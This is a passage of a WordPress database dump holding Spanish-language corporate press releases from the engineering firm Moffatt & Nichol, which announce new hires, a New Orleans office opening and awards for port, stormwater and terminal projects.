marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-revision-21','','','2014-02-17 19:33:07','2014-02-17 19:33:07','',1399,'http://moffattnichol.com/spanish/1399-revision-21/',0,'revision','',0),(2817,1,'2014-02-17 19:47:27','2014-02-17 19:47:27','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"24\">Moffatt &amp; Nichol Da La Bienvenida A Jerry L. Neal, Como Ingeniero Senior Y Estimador De Costos</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nWALNUT CREEK, CA, 20 de febrero de 2014 – Moffatt & Nichol se complace en anunciar la integración de Jerry L. Neal a la oficina de la firma en Walnut Creek. Con más de 37 años de experiencia en importantes proyectos de construcción de ingeniería civil y marítimos, tanto nacionales como fuera del país, funcionará como Ingeniero Senior y como estimador de costos para Moffatt & Nichol.  \r\n\r\nAntes de Moffatt & Nichol, el señor Neal fue el jefe estimador de costos para The Dutra Group, durante 11 años. Bajo su cargo manejó un equipo de estimadores, ingenieros, personal de administración de contratos e ingenieros de costos. \r\n\r\nEl Sr. Neal se integra con un sólido conocimiento de gerencia y estimación de costos en una variedad de proyectos, incluyendo puertos, presas y diques, plantas eléctricas y minas. Sus proyectos pasados de particular interés incluyen la Marina Cabrillo Way del Puerto de Los Ángeles, la cual fue diseñada por Moffatt & Nichol y para la cual la firma ofreció servicios de adquisición de permisos y apoyo en la construcción. El Sr. Neal también trabajó en el Puerto de Oakland, Fase 3E profundización a -50 pies; Muelle 102 para el Puerto de Los Ángeles; dragado anual de mantenimiento para el Puerto de Anchorage y varios otros proyectos de rehabilitación y fortalecimiento de diques  en el Delta de California. \r\n\r\nIngeniero Registrado, el Sr. Neal recibió su diploma de Licenciatura en Ingeniería Civil del South Dakota School of Mines and Technology. También posee un título de Maestría en Administración Estratégica de Negocios, del California State University, East Bay. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">David W. Huchel Se Une A Moffatt &amp; Nichol Como Asesor General</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\" alt=\"\" width=\"250\" height=\"350\" /></a>\r\n\r\nLONG BEACH, CA, 14 de febrero de 2014 – David Huchel se une a Moffatt & Nichol como Asesor General para la firma. Aporta más de 23 años de experiencia en legislación de construcción, litigios civiles, resolución de conflictos y mediación.  La carrera del Sr. Huchel se ha enfocado en apoyar clientes en la industria de la arquitectura, ingeniería y construcción. \r\n\r\n“Me llama la atención la tradición de excelencia de Moffatt & Nichol y su fuerte reputación en la industria”, comentó sobre su incorporación a la firma. “En el pasado, he trabajado con Moffatt & Nichol en la formación de equipos y otros acuerdos. Siempre me ha impresionado la solidez técnica y profesional de Moffatt & Nichol”. \r\n\r\nPrevio a Moffatt & Nichol, el Sr. Huchel trabajó para AECOM, donde fue Vicepresidente y Gerente Asesor de los grupos marítimos de la región oeste y América del Norte. Anteriormente fue el Asesor General y Secretario Corporativo para Boyle Engineering Corporation y fue Director de Boyle Holding Corporation, antes de que la firma fuera adquirida por AECOM. Con Boyle y AECOM apoyó la línea de negocios de servicios acuáticos y transporte, trabajando en una variedad de proyectos portuarios, de humedales y de frente de mar.  La práctica privada del Sr. Huchel en litigios civiles incluye seis años con Ford, Walker, Haggerty & Behar, para la oficina de la firma en Long Beach, California.\r\n\r\nFue admitido en la Asociación de Abogados de California en 1990, luego de obtener su diploma de Juris Doctor de University of the Pacific, McGeorge School of Law. El Sr. Huchel es miembro de la Asociación de Abogados Americanos, Asociación de Abogados de Los Ángeles, Asociación de Abogados del Condado de Orange y la Asociación de Asesores Corporativos. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">Moffatt &amp; Nichol Anuncia Al Ingeniero Eric Burke Como Nuevo Líder De Unidad De Negocio Para La Oficina De Richmond</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\" alt=\"\" width=\"250\" height=\"374\" /></a>\r\n\r\nRICHMOND, VA, febrero 4, 2014—Moffatt & Nichol se complace en anunciar que el ingeniero Eric Burke, se une a nuestra firma como Líder de Unidad de Negocio para la oficina de Richmond. El Sr. Burke obtuvo su título de licenciatura y su maestría en Virginia Polytechnic Institute y cuenta con más de 20 años de experiencia en ingeniería civil y proyectos de transporte. Además, trae a la firma una probada trayectoria de exitoso manejo de operaciones multidisciplinarias de ingeniería y ambiente en Virginia, Carolina del Norte y Carolina del Sur. \r\n\r\nLa oficina de Richmond  de Moffatt & Nichol ha crecido 50 por ciento en los dos últimos años. El Sr. Burke será un valioso activo para el equipo de la oficina de Richmond donde estará a cargo de liderar el grupo de ingenieros profesionales y gerentes de proyectos, al tiempo que la firma continuará creciendo y expandiendo sus capacidades en la práctica de transporte hacia la región centro-atlántica de los Estados Unidos. \r\n\r\nA través de su carrera, el Sr. Burke ha estado relacionado con el diseño y construcción de proyectos en el este de los Estados Unidos. Trae a Moffatt & Nichol un amplio espectro de conocimientos y de manejo de proyectos de transporte gracias a su experiencia trabajando y administrando varios aspectos del diseño de transporte, planeación ambiental y permisos. También ha manejado varios contratos multianuales “on-call” para Federal Highway Administration, South Carolina Department of Transportation, la ciudad de Richmond y otras entidades públicas. \r\n\r\n“La vasta pericia técnica y administrativa de Eric se ajusta perfectamente con nuestra oficina de Richmond”, comentó el ingeniero Eric Nichol, presidente de Moffatt & Nichol. “Estamos complacidos que se haya unido a nuestro equipo de líderes para seguir proporcionando valor a nuestros clientes en el área”. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"22\">Kevin Rai Se Une A Moffatt &amp; Nichol Como Ingeniero Eléctrico Junior</h3>\r\n\r\nVANCOUVER CB, Canadá, enero 2014 - Moffatt & Nichol se complace en dar la bienvenida a Kevin Rai, para la posición de Ingeniero Eléctrico Junior en nuestra oficina de Vancouver. El Sr. Rai trabajó como técnico y diseñador eléctrico en los últimos años mientras completaba sus estudios en el Instituto de Tecnología de Columbia Británica. En marzo obtendrá el título de  Licenciatura en Tecnología en Ingeniería Eléctrica.\r\n\r\nPara el Sr. Rai, obtener esta posición en Moffatt & Nichol es solamente el comienzo. “El cielo es el límite con Moffatt & Nichol”,  comentó. “Estoy interesado en aprender de los diversos grupos de profesionales de la firma, de interactuar con clientes al tiempo que optimizo mi nivel de conocimiento y logro la experiencia requerida para obtener mi licencia profesional en ingeniería en la provincia de Columbia Británica y el estado de Washington”. \r\n\r\nEl Sr. Rai tiene experiencia directa trabajando con diseños eléctricos para clientes en la industria minera, pero transferirá sus destrezas a las áreas de práctica de Moffatt & Nichol, incluyendo energía, puertos, muelles y terminales marítimas. Sus servicios más frecuentes incluyen la preparación de planos, diseños, cálculos y estimaciones de costos para ingeniería convencional, investigación y desarrollo de tareas.\r\n\r\n“Estoy emocionado de utilizar mis conocimientos para contribuir con el crecimiento  y éxito del equipo de Moffatt & Nichol”, comentó el Sr. Rai. “Quiero agradecer al personal por recibirme a bordo con gran profesionalismo y actitud positiva. Espero poder trabajar y conocerlos a todos”. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"21\">Moffatt &amp; Nichol Se Destaca Con Una Mención Honorífica En La Competencia De Diseño “Por Un Rockaway Revivificado” (FAR ROC) En New York</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\" alt=\"\" width=\"500\" height=\"374\" /></a>\r\n\r\nLONG EACH, CA. Diciembre 17, 2013 – Como parte de un equipo, Moffatt & Nichol recientemente obtuvo la mención honorífica en la competencia internacional de diseño FAR ROC, con su plan de renovación de 80 acres en Arverne East en Rockaway, un comunidad costera fuertemente golpeada por la super tormenta Sandy más de un año atrás. \r\n\r\nMoffatt & Nichol fue el líder de la ingeniería costera para un equipo de 17 miembros dirigidos por Mithūn - sede en Seattle, Washington. La propuesta del equipo ofreció siete pasos para un sitio flexible y sostenible, que en el futuro sea capaz de resistir cualquier devastador desastre natural como lo fue Sandy. La idea comenzó con rodear el actual patrón de la tierra; expandir las fronteras; elevar las zonas de desarrollo; extender la infraestructura en fases completas; dotar de un distrito maestro; mejorar y reavivar la comunidad existente y preparar para cambios a largo plazo. \r\n\r\nLas comunidades costeras como Arverne East sufrieron algunos de los peores daños por la tormenta Sandy. Sin embargo, comunidades costeras cercanas como Arverne by the Sea se mantuvieron bastante bien gracias a drenajes pluviales mejorados, sitios elevados e infraestructuras fuertes, lecciones que Moffatt & Nichol incorporó en el plan a largo plazo para la costa de Arverne East. La propuesta incluyó la ampliación de la playa, veredas, mejoramiento de dunas, una explanada elevada y una forma urbana convexa. \r\n\r\n“Este esfuerzo fue único en el sentido de que el equipo desarrolló un plan creativo que consideró las incertidumbres para las futuras elevaciones del nivel del mar, aumento de la frecuencia de las tormentas y aumento de la densidad urbana en una solución práctica que es viable, financiable, y asegurable”, dijo Robert Sloop, Gerente de Proyecto Costero para el equipo de Moffatt & Nichol. La propuesta de diseño fue seleccionada entre 117 opciones de más de 20 países. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseño De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de 